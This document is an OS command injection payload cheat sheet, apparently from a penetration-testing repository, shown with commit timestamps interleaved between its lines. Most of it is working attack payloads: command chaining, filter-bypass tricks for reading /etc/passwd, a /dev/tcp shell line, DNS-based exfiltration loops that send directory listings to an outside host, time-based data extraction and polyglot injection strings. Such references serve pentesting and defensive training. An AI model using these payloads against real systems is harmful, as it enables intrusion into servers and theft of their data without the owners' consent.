2019-01-22 21:45:41 +01:00
# Command Injection
2019-04-21 19:50:50 +02:00
> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
## Summary
* [Tools ](#tools )
* [Exploits ](#exploits )
* [Basic commands ](#basic-commands )
* [Chaining commands ](#chaining-commands )
* [Inside a command ](#inside-a-command )
* [Filter Bypasses ](#filter-bypasses )
* [Bypass without space ](#bypass-without-space )
* [Bypass with a line return ](#bypass-with-a-line-return )
2022-11-06 12:28:26 +01:00
* [Bypass with backslash newline ](#bypass-with-backslash-newline )
2020-03-15 01:11:47 +08:00
* [Bypass characters filter via hex encoding ](#bypass-characters-filter-via-hex-encoding )
2019-04-21 19:50:50 +02:00
* [Bypass blacklisted words ](#bypass-blacklisted-words )
2019-12-17 22:29:17 +05:30
* [Bypass with single quote ](#bypass-with-single-quote )
* [Bypass with double quote ](#bypass-with-double-quote )
2019-04-21 19:50:50 +02:00
* [Bypass with backslash and slash ](#bypass-with-backslash-and-slash )
2019-12-17 22:29:17 +05:30
* [Bypass with $@ ](#bypass-with- )
2022-03-30 03:14:41 -04:00
* [Bypass with $() ](#bypass-with--1 )
2019-04-21 19:50:50 +02:00
* [Bypass with variable expansion ](#bypass-with-variable-expansion )
* [Bypass with wildcards ](#bypass-with-wildcards )
* [Challenge ](#challenge )
* [Time based data exfiltration ](#time-based-data-exfiltration )
* [DNS based data exfiltration ](#dns-based-data-exfiltration )
* [Polyglot command injection ](#polyglot-command-injection )
2022-10-22 20:05:57 +13:00
* [Backgrounding long running commands ](#backgrounding-long-running-commands )
2019-04-21 19:50:50 +02:00
* [References ](#references )
## Tools
* [commix - Automated All-in-One OS command injection and exploitation tool ](https://github.com/commixproject/commix )
2016-10-18 15:01:56 +07:00
2016-10-18 13:39:17 +07:00
## Exploits
2018-08-12 23:30:22 +02:00
2019-04-21 19:50:50 +02:00
### Basic commands
Execute the command and voila :p
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2017-06-05 14:57:28 +02:00
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
2016-10-18 13:04:50 +07:00
sys:x:3:3:sys:/dev:/bin/sh
2016-10-18 13:02:14 +07:00
```
2019-04-21 19:50:50 +02:00
### Chaining commands
2018-08-12 23:30:22 +02:00
2019-04-21 19:50:50 +02:00
```powershell
2016-11-12 00:17:33 +07:00
original_cmd_by_server; ls
original_cmd_by_server & & ls
original_cmd_by_server | ls
2021-06-14 19:36:23 +09:00
original_cmd_by_server || ls # Only if the first cmd fail
2016-11-12 00:17:33 +07:00
```
2016-10-18 13:02:14 +07:00
2022-10-22 16:46:29 +13:00
Commands can also be run in sequence with newlines
```bash
original_cmd_by_server
ls
```
2019-04-21 19:50:50 +02:00
### Inside a command
2018-08-12 23:30:22 +02:00
2019-01-22 21:45:41 +01:00
```bash
2017-09-23 23:30:40 +02:00
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```
2019-04-21 19:50:50 +02:00
## Filter Bypasses
### Bypass without space
Works on Linux only.
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2017-07-14 23:40:31 +02:00
swissky@crashlab: ~/Www$ cat< /etc/passwd
root:x:0:0:root:/root:/bin/bash
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ {cat,/etc/passwd}
2016-11-12 00:17:33 +07:00
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ cat$IFS/etc/passwd
2016-11-12 00:17:33 +07:00
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ echo${IFS}"RCE"${IFS}&& cat${IFS}/etc/passwd
2016-11-12 00:17:33 +07:00
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2016-12-20 19:46:06 +01:00
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ X=$'uname\x20-a'&& $X
2016-12-20 19:46:06 +01:00
Linux crashlab 4.4.X-XX-generic #72 -Ubuntu
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ sh< /dev/tcp/127.0.0.1/4242
2016-10-18 13:02:14 +07:00
```
2016-10-18 15:01:56 +07:00
2019-04-21 19:50:50 +02:00
Commands execution without spaces, $ or { } - Linux (Bash only)
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2019-04-21 19:50:50 +02:00
IFS=,;`cat<<<uname,-a`
2017-06-05 14:57:28 +02:00
```
2022-01-14 18:39:52 -06:00
Tabs work as separators in web apps where spaces are removed.
```powershell
;ls%09-al%09/home
drwxr-xr-x 4 root root 4096 Jan 10 13:34 .
drwxr-xr-x 18 root root 4096 Jan 10 13:33 ..
drwx------ 2 root root 16384 Jan 10 13:31 lost+found
drwxr-xr-x 4 test test 4096 Jan 13 08:30 test
```
2019-04-21 19:50:50 +02:00
Works on Windows only.
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2019-04-21 19:50:50 +02:00
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
2017-08-13 16:35:12 +02:00
```
2019-04-21 19:50:50 +02:00
### Bypass with a line return
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2017-09-23 23:30:40 +02:00
something%0Acat%20/etc/passwd
```
2022-01-14 18:39:52 -06:00
You can also write files.
```powershell
;cat>/tmp/hi< < EOF % 0ahello % 0aEOF
;cat< /tmp/hi
hello
```
2022-11-06 12:28:26 +01:00
### Bypass with backslash newline
2022-11-06 14:22:30 +05:30
Commands can be broken into parts by using backslash followed by a newline
```powershell
❯ cat /et\
c/pa\
sswd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[SNIP]
```
URL encoded form would look like this:
```powershell
cat%20/et%5C%0Ac/pa%5C%0Asswd
```
2020-03-15 01:09:28 +08:00
### Bypass characters filter via hex encoding
2020-05-24 14:09:46 +02:00
Linux
```powershell
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
2020-03-15 01:09:28 +08:00
/etc/passwd
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
2020-03-15 01:09:28 +08:00
root:x:0:0:root:/root:/bin/bash
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
2020-03-15 01:09:28 +08:00
root:x:0:0:root:/root:/bin/bash
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
2020-03-15 01:09:28 +08:00
root:x:0:0:root:/root:/bin/bash
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ xxd -r -p << < 2f6574632f706173737764
2020-03-15 01:09:28 +08:00
/etc/passwd
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ cat `xxd -r -p <<< 2f6574632f706173737764`
2020-03-15 01:09:28 +08:00
root:x:0:0:root:/root:/bin/bash
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ xxd -r -ps < (echo 2f6574632f706173737764)
2020-03-15 01:09:28 +08:00
/etc/passwd
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
2020-03-15 01:09:28 +08:00
root:x:0:0:root:/root:/bin/bash
```
### Bypass characters filter
Commands execution without backslash and slash - linux bash
2020-05-24 14:09:46 +02:00
```powershell
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ echo ${HOME:0:1}
2020-06-04 17:26:45 +02:00
/
2020-03-15 01:09:28 +08:00
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
2020-03-15 01:09:28 +08:00
root:x:0:0:root:/root:/bin/bash
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ echo . | tr '!-0' '"-1'
2020-06-04 17:26:45 +02:00
/
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ tr '!-0' '"-1' << < .
2020-06-04 17:26:45 +02:00
/
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
2020-03-15 01:09:28 +08:00
root:x:0:0:root:/root:/bin/bash
```
2019-04-21 19:50:50 +02:00
### Bypass Blacklisted words
#### Bypass with single quote
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2018-03-12 09:17:31 +01:00
w'h'o'am'i
```
2019-04-21 19:50:50 +02:00
#### Bypass with double quote
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2018-03-12 09:17:31 +01:00
w"h"o"am"i
```
2019-04-21 19:50:50 +02:00
#### Bypass with backslash and slash
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2018-08-12 23:30:22 +02:00
w\ho\am\i
2018-11-02 13:50:56 +01:00
/\b\i\n/////s\h
2018-03-12 09:17:31 +01:00
```
2018-07-22 22:35:46 +02:00
2019-04-21 19:50:50 +02:00
#### Bypass with $@
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2018-03-12 09:17:31 +01:00
who$@ami
2019-04-21 19:50:50 +02:00
echo $0
-> /usr/bin/zsh
echo whoami|$0
2018-03-12 09:17:31 +01:00
```
2022-03-30 03:13:18 -04:00
### Bypass with $()
```powershell
who$()ami
who$(echo am)i
2022-03-30 03:16:37 -04:00
who`echo am` i
2022-03-30 03:13:18 -04:00
```
2019-04-21 19:50:50 +02:00
#### Bypass with variable expansion
2018-08-12 23:30:22 +02:00
2018-08-12 00:17:58 +02:00
```powershell
2018-09-10 20:40:43 +02:00
/???/??t /???/p??s??
2018-08-12 23:30:22 +02:00
test=/ehhh/hmtc/pahhh/hmsswd
2018-08-12 00:17:58 +02:00
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```
2019-04-21 19:50:50 +02:00
#### Bypass with wildcards
2019-01-08 20:49:05 +01:00
```powershell
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```
2018-08-12 00:17:58 +02:00
## Challenge
2018-08-12 23:30:22 +02:00
Challenge based on the previous tricks, what does the following command do:
2018-08-12 00:17:58 +02:00
```powershell
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@< ${g//hh??hm/}
```
2017-03-03 21:41:00 +01:00
## Time based data exfiltration
2018-08-12 23:30:22 +02:00
2017-03-03 21:41:00 +01:00
Extracting data : char by char
2018-08-12 23:30:22 +02:00
2018-07-22 22:35:46 +02:00
```powershell
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
2018-08-12 23:30:22 +02:00
real 0m5.007s
user 0m0.000s
sys 0m0.000s
2017-03-03 21:41:00 +01:00
2021-09-29 07:39:07 +02:00
swissky@crashlab: ~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
2018-08-12 23:30:22 +02:00
real 0m0.002s
user 0m0.000s
sys 0m0.000s
2017-03-03 21:41:00 +01:00
```
2017-07-14 23:40:31 +02:00
## DNS based data exfiltration
2018-08-12 23:30:22 +02:00
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
```powershell
2017-07-14 23:40:31 +02:00
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
2019-05-07 18:14:49 +02:00
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
2017-07-14 23:40:31 +02:00
```
2018-12-23 00:45:45 +01:00
```powershell
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2018-12-25 12:08:32 +01:00
Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
2019-01-22 21:45:41 +01:00
## Polyglot command injection
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
e.g:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
```
2019-02-28 00:36:53 +01:00
```bash
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)` sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*` */
e.g:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)` sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*` */
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)` sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*` */"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)` sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*` */'
```
2022-10-22 19:52:36 +13:00
## Backgrounding long running commands
In some instances, you might have a long running command that gets killed by the process injecting it timing out.
Using nohup, you can keep the process running after the parent process exits.
```bash
nohup sleep 120 > /dev/null &
```
2022-10-05 12:50:10 +05:30
## Labs
* [OS command injection, simple case ](https://portswigger.net/web-security/os-command-injection/lab-simple )
* [Blind OS command injection with time delays ](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays )
* [Blind OS command injection with output redirection ](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection )
* [Blind OS command injection with out-of-band interaction ](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band )
* [Blind OS command injection with out-of-band data exfiltration ](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration )
2018-12-24 15:02:50 +01:00
## References
2018-08-12 23:30:22 +02:00
2017-03-03 21:41:00 +01:00
* [SECURITY CAFÉ - Exploiting Timed Based RCE ](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/ )
2022-10-08 23:31:43 -05:00
* [Bug Bounty Survey - Windows RCE spaceless ](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136 )
2017-08-13 16:35:12 +02:00
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle ](https://twitter.com/asdizzle_/status/895244943526170628 )
2018-08-12 00:17:58 +02:00
* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware ](https://twitter.com/DissectMalware/status/1025604382644232192 )
2022-10-05 12:50:10 +05:30
* [What is OS command injection - portswigger ](https://portswigger.net/web-security/os-command-injection )